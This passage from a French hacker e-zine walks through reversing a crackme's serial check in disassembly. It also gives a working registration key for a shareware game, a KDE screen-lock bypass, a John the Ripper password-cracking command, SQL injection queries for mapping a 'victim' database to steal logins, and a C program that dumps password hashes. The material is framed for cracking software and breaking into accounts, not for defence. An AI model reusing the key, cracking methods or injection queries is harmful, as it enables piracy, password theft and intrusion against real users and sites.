vaut 4. On va donc calculer la somme du premier et du 8ième, du
second et du septième, du troisième et du sixième
puis de quatrième avec le 5ième. A chaque fois, par l'intermédiaire
de stosb, la somme est mise à la place de notre chaine d'origine.
En C, cela nous donne :
for (i=0;i!=4;i++){
login[i]=login[i]+login[8-i];
}
Et on obtient :
:004021A0 6F 72 72 65 63 74 20 21 orrect !
:004021A8 00 84 99 E5 DE 75 73 30 .....us0
:004021B0 31 00 00 00 00 00 00 00 1.......
:004021B8 00 00 00 00 00 00 00 00 ........
:004021C0 00 00 00 00 00 00 00 00 ........
:004021C8 00 00 00 00 00 00 00 00 ........
:004021D0 00 06 9A 02 00 00 50 68 ......Ph
Donc voilà notre code à la fin de la première boucle
: DEE59984 (je vous rappelle que les chiffres sont stockés à
l'envers).
Les quelques isnstructions entre les deux boucles provoquent les calculs
suivants :
esi pointe sur les 4 premiers octets du login (DEE59984) et edi sur les
4 derniers ('us01'). Puis le premier octet de edi prend la valeur du premier
octet de esi, ensuite on recommence jusqy'à ce que ecx soit nul
(instructions repnz et movsb). Et comme ecx était initialisé
à 4 on obtient :
:004021A0 6F 72 72 65 63 74 20 21 orrect !
:004021A8 00 84 99
E5 DE 84 99
E5 ........
:004021B0 DE 00 00 00 00 00 00 00 ........
:004021B8 00 00 00 00 00 00 00 00 ........
:004021C0 00 00 00 00 00 00 00 00 ........
:004021C8 00 00 00 00 00 00 00 00 ........
:004021D0 00 06 9A 02 00 00 50 68 ......Ph
La seconde boucle consiste à faire un xor de tout ça avec
la chaine 'PhroZenQ'. Le résultat restant toujours à la
même place. On a :
:004021A0 6F 72 72 65 63 74 20 21 orrect !
:004021A8 00 D4 F1 97 B1 DE FC 8B ........
:004021B0 8F 00 00 00 00 00 00 00 ........
:004021B8 00 00 00 00 00 00 00 00 ........
:004021C0 00 00 00 00 00 00 00 00 ........
:004021C8 00 00 00 00 00 00 00 00 ........
:004021D0 00 06 9A 02 00 00 50 68 ......Ph
Bon jusque là, ça allait... Mais là on tombe sur
un truc de paranoïaque obsessionnel gravement atteint au LSD. J'ai
passé des mois sur cette putain de routine sans réussir
à voir comment l'inverser. Finalement je me suis décidé
pour regarder l'explication avec le crakme mais g pas vraiment compris
comment ça marche. Apparemment c'est tellement bien foutu que l'on
peut pas faire un simple script qui transforme notre login en serial,
il faut utiliser une méthode brute force pour une partie de la
routine... Enfin bon voici donc le call2 :
* Referenced by a CALL at Address:
|:00401317
|
:004013C1 A1D2214000 mov eax, dword ptr [004021D2] ;
le code que l'on a entre (666)
:004013C6 8A0DA9214000 mov cl, byte ptr [004021A9] ;
premier octet du code genere (D4)
:004013CC D3C0 rol eax, cl ; :-( ca commence mal
:004013CE 8B0DAE214000 mov ecx, dword ptr [004021AE] ;3
derniers octets du code (00 8F 8B FC)
:004013D4 33C1 xor eax, ecx
:004013D6 8B1DAA214000 mov ebx, dword ptr [004021AA] ;
milieu du code (DE B1 97 F1)
:004013DC 8AC8 mov cl, al
:004013DE D3CB ror ebx, cl
:004013E0 33C3 xor eax, ebx ; ZE Big Test, le xor
renvoie 0 en cas de succès
:004013E2 B800000000 mov eax, 00000000 ; eax est
mis à 0
:004013E7 7506 jne 004013EF ; si les valeurs ne
sont pas les memes on quitte avec eax=0
:004013E9 90 nop
:004013EA 90 nop
:004013EB 90 nop
:004013EC 90 nop
:004013ED FEC0 inc al ; sinon c la fête, on
quitte avec eax = 1 --> "COOL !!..."
* Referenced by a (U)nconditional or (C)onditional Jump
at Address:
|:004013E7(C)
|
:004013EF C3 ret
Explication : On commence par récupérer le code que l'on
a entré dans eax.
Ensuite on "rol" ce code avec le premier octet du code généré.
Le rol c'est un roulement à gauche (left). C'est à dire
que l'on va décaler les bits vers la gauche en ce en bouclant (les
bits qui sorte à gauche se retrouvent à droite). Voici un
ptit exemple :
mov AH, C0 ; AH = 1100 0000
rol AH, 1 ; on décale les bits de AH d'un
cran sur la gauche --> AH = 1000 0001
mov CL, 2
rol AH, CL ; on décale les bits de CL cran
sur la gauche --> AH devient 0000 0110
Une fois que le roulement est fait, le résultat est "xoré"
avec les 3 derniers octets de notre code. En fait il en prend quatre vu
qu'il demande un dword mais le quatrième est à 00. Jusque
là rien de spécial : on fait des calculs sur le pass que
l'on a entré, notre code généré est lui intact.
Et là... C'est le drame ;-)
Une partie de notre code généré (octets 2 à
5) est mise dans ebx puis "roré" avec le pass modifié.
Ces deux putains de code se crypent l'un avec l'autre (et vise et versa
:-).
Et puis histoire de nous embrouiller encore un peu plus, on fait en xor
mais dans le sens inverse : notre code généré sur
notre code entré. Et alors si par une quelconque magie ce sont
les mêmes alors on ne fait pas le jump, eax est mis à 1.
On retourne dans notre routine de début, on teste eax est si il
vaut 1 alors c gagne.
C'est plutôt difficile à expliquer mais essayez de touver
comme ça marche et vous verrez que c'est super chaud.
La bonne chose c'est que les concepteurs de logiciels ne mettent pas des
tests aussi compliqué que celui là donc le keygening a encore
de beaux jours devant lui. Et le patching encore plus car ce prog est
l'exemple même de comment passer une putain de protection à
la con en modifiant deux ou trois octets.
|
Je peux dire une connerie
? |
Encore un petit entracte. D'abord le verou de KDE qui est une
vrai daube : quand vous utilisez la fonction "verrouiller ecran"
de KDE, il suffit d'un Control+Alt+BackSpace pour killer KDE et donc le
verou et se retrouver sur votre shell de départ (juste avant que
vous ayez fait un startx) et bien evidemment ça ne déloge
pas. Donc une personne qui a accès à votre pc pendant votre
absence peut malgrès cette protection (minable) faire tout ce qu'il
veut sur votre compte.
Deuxième partie de cette entracte :
Pour m'exercer au cracking j'avais acheté un mag (PC Shareware)
sur lequel ya un tas de petits logiciels. J'ai cracké un jeu qui
s'appelle Melker - The Elk Hunt. C'est un jeu pour les gosses dans
lequel vous contrôlez un élan qui a trop hiberné et
qui se retrouve tout seul alors que les autres sont de l'autre côté
de la forêt. Vous devez donc les rejoindre mais le problême
c'est que la chasse à l'élan a commencé. Je l'ai
cracké de la même façon que WinZip et j'étais
tellement surpris que ça marche du premier coup que j'ai pas pu
noté le sérial que j'avais trouvé. Mais apparemment
il garde l'info dans Melker.ini qui se trouve dans votre rep windows (c:\windows\
chez moi).
Donc si vous avez ce jeu chez vous en version shareware faites plaisir
à votre petit frère (ou à votre fils) et ajoutez
au fichier Melker.ini les lignes suivantes :
[REGISTER]
NAME=niico
NUMBER=091224464
|
Utilisation
de John The Ripper v1.6 |
Juste pour vous dire que John
version 1.6 possède une fonction ultra puissante : appliquer
des règles de calcul aux mots issus de dictionnaires. C'est à
dire ajouter des chiffres à la fin... Comme la fonction single de
John v1.0 mais avec les mots du dico que vous lui passez. Je possède
plusieurs dico dont deux que jai fait et dont je suis très fier car
ils me permettent de cracker facilement un bon nombre de passwords.
Ligne de commande : john -w.dico.txt -rules passwd
Je vous donne les deux fichiers avec le mag l'un s'appelle name.txt et contient
des prénoms français et leurs raccourcis : tès puissant.
Le second, dico.txt est moins puissant et plus adapté aux passwords
de jeunz. |
SQL
injection avec une base MySQL |
Tout le monde (ou presque) connaît la méthode SQL injection.
Je ne l'expliquerai donc pas en détail alors qu'une recherche sur
google doit cracher une tonne de doc. Le problème avec la SQL injection
c'est que pour avoir un accès à toute la base il faut connaître
son nom, ses tables, ses champs sans quoi vous êtes condamneés
à faire des 'or 1=1' ;-)
Alors voilà quelques requêtes à faire exécuter
pour connaître votre victime par coeur :
Commencez par un show databases; vous obtenez
alors le nom des bases de données par exemple les bases web, ventes
et production pour une entreprise. Nous on voudrait les logins/passwords
des gens qui se connectent sur le site. En supposant que c'est dans la
base de donnée web, on fait show tables from
web; on obtient alors par exemple les tables client, commande,
produit, etc. Pour voir les champs de la table client il nous reste plus
qu'à faire select * from web.client;
|
Petit oubli |
J'aurais du mettre ça avec le premier article des pass Unix mais
bon... C'est un prog ultra connu, la première fois mis dans le
hack-faq du 2600 (enfin il me semble que ce sont eux les premiers). Il
sert à récupérer les passwords cryptés sur
pas mal de systèmes :
#include pwd.h
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p-pw_name,
p-pw_passwd,p-pw_uid, p-pw_gid, p-pw_gecos,
p-pw_dir, p-pw_shell);
}
|
Conclusion |
En conclusion je pense que j'ai réussi le pari de faire un numéro
encore mieu que les précédents. Est-ce qu'il y aura un numéro
5 ? Aucune idée, ça dépend de vous. J'attends vos
articles à sirius.black@lycos.fr,
tous les sujets en rapport avec l'informatique/hacking/phreaking/cracking/crading
sont acceptés.
Je suis aussi sur un autre projet de mag qui
aura pour sujet... tout ce que vous voulez ! Vous voulez crier
votre haine ? Dire ce que vous pensez des mecs qui nous gouvernent ? Ecrire
un texte sous l'emprise du cannabis ? Faire une histoire de science fiction
? Parler zic, un groupe qui vous plait, un style musical ou une passion
que vous voulez partager parce que trop méconnu ? Ecrire
un article de pur délire ? N'hésitez pas à
m'envoyer des codes sources humouristiques (du style devenir_president.c).
Ce projet est ouvert à TOUS.
Si vous avez toujours voulu écrire un article pour un mag sans
savoir comment le distribuer, si vous avez des
textes déjantés qui traînent sur votre disque dur,
envoyez moi tout ça en mettant bien votre pseudo à sirius.black@lycos.fr.
J'accepte aussi les hoax les plus débiles
que vous avez trouvé et/ou que vous avez créé. Pas
un classique avec un enfant estropié en Ethiopie !! En vrai complétement
débile.
Sinon quoi de neuf ? Bah g fini www.Try2Hack.nl et j'ai commencé
www.slyfx.com, je suis actuellement au level6. Si vous n'avez pas lu mes
mags précédents, allez sur membres.lycos.fr/lotfree
|
|